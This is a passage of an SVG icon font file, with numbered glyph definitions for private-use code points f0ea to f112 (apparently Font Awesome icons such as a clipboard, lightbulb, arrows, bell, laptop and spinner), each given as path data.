242 <glyph unicode="&#xf0ea;" horiz-adv-x="1792" d="M768 -128h896v640h-416q-40 0 -68 28t-28 68v416h-384v-1152zM1024 1312v64q0 13 -9.5 22.5t-22.5 9.5h-704q-13 0 -22.5 -9.5t-9.5 -22.5v-64q0 -13 9.5 -22.5t22.5 -9.5h704q13 0 22.5 9.5t9.5 22.5zM1280 640h299l-299 299v-299zM1792 512v-672q0 -40 -28 -68t-68 -28 h-960q-40 0 -68 28t-28 68v160h-544q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1088q40 0 68 -28t28 -68v-328q21 -13 36 -28l408 -408q28 -28 48 -76t20 -88z" />
243 <glyph unicode="&#xf0eb;" horiz-adv-x="1024" d="M736 960q0 -13 -9.5 -22.5t-22.5 -9.5t-22.5 9.5t-9.5 22.5q0 46 -54 71t-106 25q-13 0 -22.5 9.5t-9.5 22.5t9.5 22.5t22.5 9.5q50 0 99.5 -16t87 -54t37.5 -90zM896 960q0 72 -34.5 134t-90 101.5t-123 62t-136.5 22.5t-136.5 -22.5t-123 -62t-90 -101.5t-34.5 -134 q0 -101 68 -180q10 -11 30.5 -33t30.5 -33q128 -153 141 -298h228q13 145 141 298q10 11 30.5 33t30.5 33q68 79 68 180zM1024 960q0 -155 -103 -268q-45 -49 -74.5 -87t-59.5 -95.5t-34 -107.5q47 -28 47 -82q0 -37 -25 -64q25 -27 25 -64q0 -52 -45 -81q13 -23 13 -47 q0 -46 -31.5 -71t-77.5 -25q-20 -44 -60 -70t-87 -26t-87 26t-60 70q-46 0 -77.5 25t-31.5 71q0 24 13 47q-45 29 -45 81q0 37 25 64q-25 27 -25 64q0 54 47 82q-4 50 -34 107.5t-59.5 95.5t-74.5 87q-103 113 -103 268q0 99 44.5 184.5t117 142t164 89t186.5 32.5 t186.5 -32.5t164 -89t117 -142t44.5 -184.5z" />
244 <glyph unicode="&#xf0ec;" horiz-adv-x="1792" d="M1792 352v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5q-12 0 -24 10l-319 320q-9 9 -9 22q0 14 9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h1376q13 0 22.5 -9.5t9.5 -22.5zM1792 896q0 -14 -9 -23l-320 -320q-9 -9 -23 -9 q-13 0 -22.5 9.5t-9.5 22.5v192h-1376q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1376v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
245 <glyph unicode="&#xf0ed;" horiz-adv-x="1920" d="M1280 608q0 14 -9 23t-23 9h-224v352q0 13 -9.5 22.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-352h-224q-13 0 -22.5 -9.5t-9.5 -22.5q0 -14 9 -23l352 -352q9 -9 23 -9t23 9l351 351q10 12 10 24zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088 q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
246 <glyph unicode="&#xf0ee;" horiz-adv-x="1920" d="M1280 672q0 14 -9 23l-352 352q-9 9 -23 9t-23 -9l-351 -351q-10 -12 -10 -24q0 -14 9 -23t23 -9h224v-352q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5v352h224q13 0 22.5 9.5t9.5 22.5zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088 q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
247 <glyph unicode="&#xf0f0;" horiz-adv-x="1408" d="M384 192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 68 5.5 131t24 138t47.5 132.5t81 103t120 60.5q-22 -52 -22 -120v-203q-58 -20 -93 -70t-35 -111q0 -80 56 -136t136 -56 t136 56t56 136q0 61 -35.5 111t-92.5 70v203q0 62 25 93q132 -104 295 -104t295 104q25 -31 25 -93v-64q-106 0 -181 -75t-75 -181v-89q-32 -29 -32 -71q0 -40 28 -68t68 -28t68 28t28 68q0 42 -32 71v89q0 52 38 90t90 38t90 -38t38 -90v-89q-32 -29 -32 -71q0 -40 28 -68 t68 -28t68 28t28 68q0 42 -32 71v89q0 68 -34.5 127.5t-93.5 93.5q0 10 0.5 42.5t0 48t-2.5 41.5t-7 47t-13 40q68 -15 120 -60.5t81 -103t47.5 -132.5t24 -138t5.5 -131zM1088 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5 t271.5 -112.5t112.5 -271.5z" />
248 <glyph unicode="&#xf0f1;" horiz-adv-x="1408" d="M1280 832q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 832q0 -62 -35.5 -111t-92.5 -70v-395q0 -159 -131.5 -271.5t-316.5 -112.5t-316.5 112.5t-131.5 271.5v132q-164 20 -274 128t-110 252v512q0 26 19 45t45 19q6 0 16 -2q17 30 47 48 t65 18q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5q-33 0 -64 18v-402q0 -106 94 -181t226 -75t226 75t94 181v402q-31 -18 -64 -18q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5q35 0 65 -18t47 -48q10 2 16 2q26 0 45 -19t19 -45v-512q0 -144 -110 -252 t-274 -128v-132q0 -106 94 -181t226 -75t226 75t94 181v395q-57 21 -92.5 70t-35.5 111q0 80 56 136t136 56t136 -56t56 -136z" />
249 <glyph unicode="&#xf0f2;" horiz-adv-x="1792" d="M640 1152h512v128h-512v-128zM288 1152v-1280h-64q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h64zM1408 1152v-1280h-1024v1280h128v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h128zM1792 928v-832q0 -92 -66 -158t-158 -66h-64v1280h64q92 0 158 -66 t66 -158z" />
250 <glyph unicode="&#xf0f3;" horiz-adv-x="1792" d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5 t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
251 <glyph unicode="&#xf0f4;" horiz-adv-x="1920" d="M1664 896q0 80 -56 136t-136 56h-64v-384h64q80 0 136 56t56 136zM0 128h1792q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM1856 896q0 -159 -112.5 -271.5t-271.5 -112.5h-64v-32q0 -92 -66 -158t-158 -66h-704q-92 0 -158 66t-66 158v736q0 26 19 45 t45 19h1152q159 0 271.5 -112.5t112.5 -271.5z" />
252 <glyph unicode="&#xf0f5;" horiz-adv-x="1408" d="M640 1472v-640q0 -61 -35.5 -111t-92.5 -70v-779q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v779q-57 20 -92.5 70t-35.5 111v640q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45 t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45zM1408 1472v-1600q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v512h-224q-13 0 -22.5 9.5t-9.5 22.5v800q0 132 94 226t226 94h256q26 0 45 -19t19 -45z" />
253 <glyph unicode="&#xf0f6;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z M384 736q0 14 9 23t23 9h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64zM1120 512q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704zM1120 256q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704 q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704z" />
254 <glyph unicode="&#xf0f7;" horiz-adv-x="1408" d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M896 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M896 -128h384v1536h-1152v-1536h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM1408 1472v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280q26 0 45 -19t19 -45z" />
255 <glyph unicode="&#xf0f8;" horiz-adv-x="1408" d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M896 -128h384v1152h-256v-32q0 -40 -28 -68t-68 -28h-448q-40 0 -68 28t-28 68v32h-256v-1152h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM896 1056v320q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-96h-128v96q0 13 -9.5 22.5 t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5v96h128v-96q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1408 1088v-1280q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1280q0 26 19 45t45 19h320 v288q0 40 28 68t68 28h448q40 0 68 -28t28 -68v-288h320q26 0 45 -19t19 -45z" />
256 <glyph unicode="&#xf0f9;" horiz-adv-x="1920" d="M640 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM256 640h384v256h-158q-14 -2 -22 -9l-195 -195q-7 -12 -9 -22v-30zM1536 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5 t90.5 37.5t37.5 90.5zM1664 800v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM1920 1344v-1152 q0 -26 -19 -45t-45 -19h-192q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-128q-26 0 -45 19t-19 45t19 45t45 19v416q0 26 13 58t32 51l198 198q19 19 51 32t58 13h160v320q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
257 <glyph unicode="&#xf0fa;" horiz-adv-x="1792" d="M1280 416v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM640 1152h512v128h-512v-128zM256 1152v-1280h-32 q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h32zM1440 1152v-1280h-1088v1280h160v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h160zM1792 928v-832q0 -92 -66 -158t-158 -66h-32v1280h32q92 0 158 -66t66 -158z" />
258 <glyph unicode="&#xf0fb;" horiz-adv-x="1920" d="M1920 576q-1 -32 -288 -96l-352 -32l-224 -64h-64l-293 -352h69q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-96h-160h-64v32h64v416h-160l-192 -224h-96l-32 32v192h32v32h128v8l-192 24v128l192 24v8h-128v32h-32v192l32 32h96l192 -224h160v416h-64v32h64h160h96 q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-69l293 -352h64l224 -64l352 -32q261 -58 287 -93z" />
259 <glyph unicode="&#xf0fc;" horiz-adv-x="1664" d="M640 640v384h-256v-256q0 -53 37.5 -90.5t90.5 -37.5h128zM1664 192v-192h-1152v192l128 192h-128q-159 0 -271.5 112.5t-112.5 271.5v320l-64 64l32 128h480l32 128h960l32 -192l-64 -32v-800z" />
260 <glyph unicode="&#xf0fd;" d="M1280 192v896q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-512v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-896q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h512v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1536 1120v-960 q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
261 <glyph unicode="&#xf0fe;" d="M1280 576v128q0 26 -19 45t-45 19h-320v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-320q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h320v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h320q26 0 45 19t19 45zM1536 1120v-960 q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
262 <glyph unicode="&#xf100;" horiz-adv-x="1024" d="M627 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23zM1011 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23 t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23z" />
263 <glyph unicode="&#xf101;" horiz-adv-x="1024" d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM979 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23 l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
264 <glyph unicode="&#xf102;" horiz-adv-x="1152" d="M1075 224q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM1075 608q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393 q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
265 <glyph unicode="&#xf103;" horiz-adv-x="1152" d="M1075 672q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23zM1075 1056q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23 t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
266 <glyph unicode="&#xf104;" horiz-adv-x="640" d="M627 992q0 -13 -10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
267 <glyph unicode="&#xf105;" horiz-adv-x="640" d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
268 <glyph unicode="&#xf106;" horiz-adv-x="1152" d="M1075 352q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
269 <glyph unicode="&#xf107;" horiz-adv-x="1152" d="M1075 800q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
270 <glyph unicode="&#xf108;" horiz-adv-x="1920" d="M1792 544v832q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1376v-1088q0 -66 -47 -113t-113 -47h-544q0 -37 16 -77.5t32 -71t16 -43.5q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19 t-19 45q0 14 16 44t32 70t16 78h-544q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
271 <glyph unicode="&#xf109;" horiz-adv-x="1920" d="M416 256q-66 0 -113 47t-47 113v704q0 66 47 113t113 47h1088q66 0 113 -47t47 -113v-704q0 -66 -47 -113t-113 -47h-1088zM384 1120v-704q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5v704q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5z M1760 192h160v-96q0 -40 -47 -68t-113 -28h-1600q-66 0 -113 28t-47 68v96h160h1600zM1040 96q16 0 16 16t-16 16h-160q-16 0 -16 -16t16 -16h160z" />
272 <glyph unicode="&#xf10a;" horiz-adv-x="1152" d="M640 128q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1024 288v960q0 13 -9.5 22.5t-22.5 9.5h-832q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h832q13 0 22.5 9.5t9.5 22.5zM1152 1248v-1088q0 -66 -47 -113t-113 -47h-832 q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h832q66 0 113 -47t47 -113z" />
273 <glyph unicode="&#xf10b;" horiz-adv-x="768" d="M464 128q0 33 -23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5t56.5 23.5t23.5 56.5zM672 288v704q0 13 -9.5 22.5t-22.5 9.5h-512q-13 0 -22.5 -9.5t-9.5 -22.5v-704q0 -13 9.5 -22.5t22.5 -9.5h512q13 0 22.5 9.5t9.5 22.5zM480 1136 q0 16 -16 16h-160q-16 0 -16 -16t16 -16h160q16 0 16 16zM768 1152v-1024q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v1024q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
274 <glyph unicode="&#xf10c;" d="M768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103 t279.5 -279.5t103 -385.5z" />
275 <glyph unicode="&#xf10d;" horiz-adv-x="1664" d="M768 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z M1664 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z" />
276 <glyph unicode="&#xf10e;" horiz-adv-x="1664" d="M768 1216v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136zM1664 1216 v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136z" />
277 <glyph unicode="&#xf110;" horiz-adv-x="1568" d="M496 192q0 -60 -42.5 -102t-101.5 -42q-60 0 -102 42t-42 102t42 102t102 42q59 0 101.5 -42t42.5 -102zM928 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM320 640q0 -66 -47 -113t-113 -47t-113 47t-47 113 t47 113t113 47t113 -47t47 -113zM1360 192q0 -46 -33 -79t-79 -33t-79 33t-33 79t33 79t79 33t79 -33t33 -79zM528 1088q0 -73 -51.5 -124.5t-124.5 -51.5t-124.5 51.5t-51.5 124.5t51.5 124.5t124.5 51.5t124.5 -51.5t51.5 -124.5zM992 1280q0 -80 -56 -136t-136 -56 t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1536 640q0 -40 -28 -68t-68 -28t-68 28t-28 68t28 68t68 28t68 -28t28 -68zM1328 1088q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5z" />
278 <glyph unicode="&#xf111;" d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
279 <glyph unicode="&#xf112;" horiz-adv-x="1792" d="M1792 416q0 -166 -127 -451q-3 -7 -10.5 -24t-13.5 -30t-13 -22q-12 -17 -28 -17q-15 0 -23.5 10t-8.5 25q0 9 2.5 26.5t2.5 23.5q5 68 5 123q0 101 -17.5 181t-48.5 138.5t-80 101t-105.5 69.5t-133 42.5t-154 21.5t-175.5 6h-224v-256q0 -26 -19 -45t-45 -19t-45 19 l-512 512q-19 19 -19 45t19 45l512 512q19 19 45 19t45 -19t19 -45v-256h224q713 0 875 -403q53 -134 53 -333z" />
